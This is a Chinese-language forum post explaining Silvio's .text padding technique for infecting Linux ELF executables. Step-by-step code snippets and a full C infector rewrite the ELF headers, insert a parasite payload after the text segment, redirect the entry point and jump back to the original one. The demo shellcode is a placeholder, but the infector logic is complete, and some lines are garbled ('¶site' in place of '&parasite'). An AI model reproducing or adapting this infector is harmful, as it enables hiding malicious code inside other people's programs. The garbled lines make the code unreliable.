QQ登录

只需要一步,快速开始

APP扫码登录

只需要一步,快速开始

手机号码,快捷登录

查看: 172|回复: 0

[C/C++/VC++] linux可执行文件的silvio .text填充感染

[复制链接]

等级头衔

积分成就    金币 : 786
   泡泡 : 1488
   精华 : 6
   在线时间 : 786 小时
   最后登录 : 2020-7-3

丰功伟绩

优秀达人突出贡献荣誉管理论坛元老

联系方式
发表于 2020-6-13 22:18:02 | 显示全部楼层 |阅读模式
       虽然上世纪九十年代  silvio 就提出了 text 填充感染的方式,但是现在看来也不算过时(菜鸟看法),思路该用的时候还是可以用。text 和 data 段在磁盘上是相互靠着的,但是映射到内存中是按照内存分页进行分配空间,那么就可以在text段后面插入内存页,放置shellcode。
1.jpg
原理:
       原理比较简单,就是在两个段间的内存页插入shellcode。 但是有所限制,32位linux只有 4096 B大小的空间可以利用,64位可以使用2MB。另外 shellcode必须是独立的程序,每一次注入都会涉及到地址改变,所以如果有动态链接库使用等都会有所干扰。加入shell之后还需要跳回原位置执行。
设计:
       打开文件,获得宿主程序的大小等:
  1. fd = open ("./elf1", O_RDONLY);
  2. stat("./elf1",&statbuf);
  3. int size = statbuf.st_size; //文件大小
  4. char dest[size];
  5. c = read (fd, dest, size);
复制代码
      可以使用struct stat获得文件属性,相关参数参考:
  1. struct stat  
  2. {   
  3.     dev_t       st_dev;     /* ID of device containing file -文件所在设备的ID*/  
  4.     ino_t       st_ino;     /* inode number -inode节点号*/   
  5.     mode_t      st_mode;    /* protection -保护模式?*/   
  6.     nlink_t     st_nlink;   /* number of hard links -链向此文件的连接数(硬连接)*/   
  7.     uid_t       st_uid;     /* user ID of owner -user id*/   
  8.     gid_t       st_gid;     /* group ID of owner - group id*/   
  9.     dev_t       st_rdev;    /* device ID (if special file) -设备号,针对设备文件*/   
  10.     off_t       st_size;    /* total size, in bytes -文件大小,字节为单位*/   
  11.     blksize_t   st_blksize; /* blocksize for filesystem I/O -系统块的大小*/   
  12.     blkcnt_t    st_blocks;  /* number of blocks allocated -文件所占块数*/   
  13.     time_t      st_atime;   /* time of last access -最近存取时间*/   
  14.     time_t      st_mtime;   /* time of last modification -最近修改时间*/   
  15.     time_t      st_ctime;   /* time of last status change - */   
  16. };  _stat结构体是文件(夹)信息的结构体,定义如下:以上信息就是可以通过_stat函数获取的所有相关信息,一般情况下,我们关心文件大小和创建时间、访问时间、修改时间。
复制代码
      获得文件格式,在section后增加一个内存页。将ELF文件头结构体中的ehdr->e_shoff属性增加PAGE_SIZE大小。e_shoff是节头表偏移,如果二进制文件有节头表,节头表在文件格式布局的底部,向上紧挨着的就是每个节(段)的内容,寄生代码注入到了text段后面,即被注入到text段中最后一个节的后面,这样让后面剩余节内容、节头表都想后移动一个内存页的大小,注意pagesize的大小根据操作系统位数更改。
  1. Elf64_Addr old_e_entry;  //之前elf文件入口点位置
  2.     Elf64_Addr o_text_filesz;  
  3.     Elf64_Addr parasite_vaddr;  
  4.     uint64_t end_of_text;  
  5.     int found_text;  
  6.     uint8_t *mem = (uint8_t *)base;  //base是程序开始位置
  7.     uint8_t *parasite = (uint8_t *)payload;  
  8.     //获得文件几个重要数据,区段位置,program头偏移
  9.     Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;  
  10.     Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
  11.     Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
  12.     ehdr->e_shoff += PAGE_SIZE;   //section段加一个内存页放置shellcode
复制代码
      插入shell之后的 所有节表头都向后移动内存页。将 phdr[TEXT].p_filesz 增加寄生代码的长度值。将 phdr[TEXT].p_memsz 增加寄生代码的长度值。对每个 phdr,如果对应的段位于寄生代码之后,则将 phdr[x].p_offset 增加PAGE_SIZE 大小的字节。
  1. int i, j;
  2.     for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
  3.     if (phdr[i].p_type == PT_LOAD) {
  4.         if (phdr[i].p_offset == 0) {
  5.             o_text_filesz = phdr[i].p_filesz;
  6.             end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
  7.             parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
  8.             old_e_entry = ehdr->e_entry;
  9.             ehdr->e_entry = parasite_vaddr;
  10.             phdr[i].p_filesz += payload_len;
  11.             phdr[i].p_memsz += payload_len;
  12.             //遍歷每個 phdr, 后面加上 一个內存頁大小
  13.             for (j = i + 1; j < ehdr->e_phnum; j++)
  14.                 if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
  15.                     phdr[j].p_offset += PAGE_SIZE;
  16.                     //phdr[j].p_offset += payload_len;
  17.             }
  18.         break;
  19.         }
  20.     }
复制代码
      找到 text 段的最后一个 shdr,将 shdr[x].sh_size 增加寄生代码的长度值,对每个位于寄生代码插入位置之后的 shdr,将 shdr[x].sh_offset增加 PAGE_SIZE 的大小值。将真正的寄生代码插入到 text 段的 file_base + phdr[TEXT].p_filesz。
  1.   for (i = 0; i < ehdr->e_shnum; i++) {
  2.         if (shdr[i].sh_addr > parasite_vaddr)
  3.             shdr[i].sh_offset += PAGE_SIZE;
  4.             //shdr[i].sh_offset += payload_len;
  5.         else
  6.             if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
  7.                 shdr[i].sh_size += payload_len;
  8.     }
复制代码
  1.     ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
  2.     //写入原始text段(包含文件头到text段尾部)
  3.     ret = write (ofd, mem, end_of_text);
  4.     *(uint32_t *) ¶site[jmp_code_offset] = old_e_entry;  //跳回原入口點
  5.     write (ofd, parasite, psize);
  6.     lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
  7.     mem += end_of_text;
  8.     unsigned int sum = end_of_text + PAGE_SIZE;
  9.     unsigned int last_chunk = hsize - end_of_text;
  10.     write (ofd, mem, last_chunk);
  11.     close (ofd);
复制代码
      以下是全部源码:
  1. #include <stdio.h>
  2. #include "elf.h"
  3. #include <sys/stat.h>
  4. #include <fcntl.h>
  5. #include <string.h>
  6. #include <unistd.h>
  7. #define PAGE_SIZE 4096*3
  8. //#define PAGE_SIZE 200000
  9. #define TMP "elf2"
  10. #define JMP_PATCH_OFFSET 1
  11. char shellcode[] = "\x33\xC0";  //xor eax,eax
  12. /*
  13.   hosts_name : 宿主程序
  14.   psize: shell 長度
  15.   hsize: 宿主大小
  16.   men:宿主內存映射地址
  17.   end_of_text: 修改之後的text結尾處
  18.   parasite: shell 入口
  19.   jmp_code_offset:插入shell的偏移大小,方便後面跳回來。
  20.   old_e_entry:宿主程序入口點
  21. */
  22. void insert_shellcode(char *hosts_name, size_t psize, size_t hsize,uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset, Elf64_Addr old_e_entry)
  23. {
  24.     int ofd;
  25.     unsigned int c;
  26.     int i, t = 0;
  27.     int ret;
  28.     ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
  29.     //写入原始text段(包含文件头到text段尾部)
  30.     ret = write (ofd, mem, end_of_text);
  31.     *(uint32_t *) ¶site[jmp_code_offset] = old_e_entry;  //跳回原入口點
  32.     write (ofd, parasite, psize);
  33.     lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
  34.     mem += end_of_text;
  35.     unsigned int sum = end_of_text + PAGE_SIZE;
  36.     unsigned int last_chunk = hsize - end_of_text;
  37.     write (ofd, mem, last_chunk);
  38.     close (ofd);
  39. }
  40. int silvio_text_infect(char* host, void* base, void* payload, size_t payload_len)  //host 宿主程序  
  41. {
  42.     //調整elf文件頭
  43.     Elf64_Addr old_e_entry;  //之前elf文件入口点位置
  44.     Elf64_Addr o_text_filesz;  
  45.     Elf64_Addr parasite_vaddr;  
  46.     uint64_t end_of_text;  
  47.     int found_text;  
  48.     uint8_t *mem = (uint8_t *)base;  //base是程序开始位置
  49.     uint8_t *parasite = (uint8_t *)payload;  
  50.     //获得文件几个重要数据,区段位置,program头偏移
  51.     Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;  
  52.     Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
  53.     Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
  54.     ehdr->e_shoff += PAGE_SIZE;   //section段加一个内存页放置shellcode
  55.     struct stat statbuf;
  56.       
  57.     //調整program header
  58.     int i, j;
  59.     for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
  60.     if (phdr[i].p_type == PT_LOAD) {
  61.         if (phdr[i].p_offset == 0) {
  62.             o_text_filesz = phdr[i].p_filesz;
  63.             end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
  64.             parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
  65.             old_e_entry = ehdr->e_entry;
  66.             ehdr->e_entry = parasite_vaddr;
  67.             phdr[i].p_filesz += payload_len;
  68.             phdr[i].p_memsz += payload_len;
  69.             //遍歷每個 phdr, 后面加上 一个內存頁大小
  70.             for (j = i + 1; j < ehdr->e_phnum; j++)
  71.                 if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
  72.                     phdr[j].p_offset += PAGE_SIZE;
  73.                     //phdr[j].p_offset += payload_len;
  74.             }
  75.         break;
  76.         }
  77.     }
  78.     //對插入shell之後的section 偏移位置加上 pagesize
  79.     for (i = 0; i < ehdr->e_shnum; i++) {
  80.         if (shdr[i].sh_addr > parasite_vaddr)
  81.             shdr[i].sh_offset += PAGE_SIZE;
  82.             //shdr[i].sh_offset += payload_len;
  83.         else
  84.             if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
  85.                 shdr[i].sh_size += payload_len;
  86.     }
  87.     stat(host,&statbuf);
  88.     int size = statbuf.st_size;
  89.      
  90.     insert_shellcode(host, payload_len, size, base, end_of_text, parasite, JMP_PATCH_OFFSET, old_e_entry);
  91.     return 0;
  92. }
  93. int main(){
  94.     FILE *file;
  95.     int fd, i, c;
  96.     struct stat statbuf; //获取linux文件属性
  97.     fd = open ("./elf1", O_RDONLY);
  98.     stat("./elf1",&statbuf);
  99.     int size = statbuf.st_size; //文件大小
  100.     char dest[size];
  101.     c = read (fd, dest, size);
  102.     silvio_text_infect("./elf1", dest, shellcode, sizeof(shellcode));
  103.     return 0;
  104. }
复制代码


您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|paopaomj.COM ( 渝ICP备18007172号 )

GMT+8, 2020-7-4 03:35

Powered by paopaomj X3.4 © 2016-2021 sitemap

快速回复 返回顶部 返回列表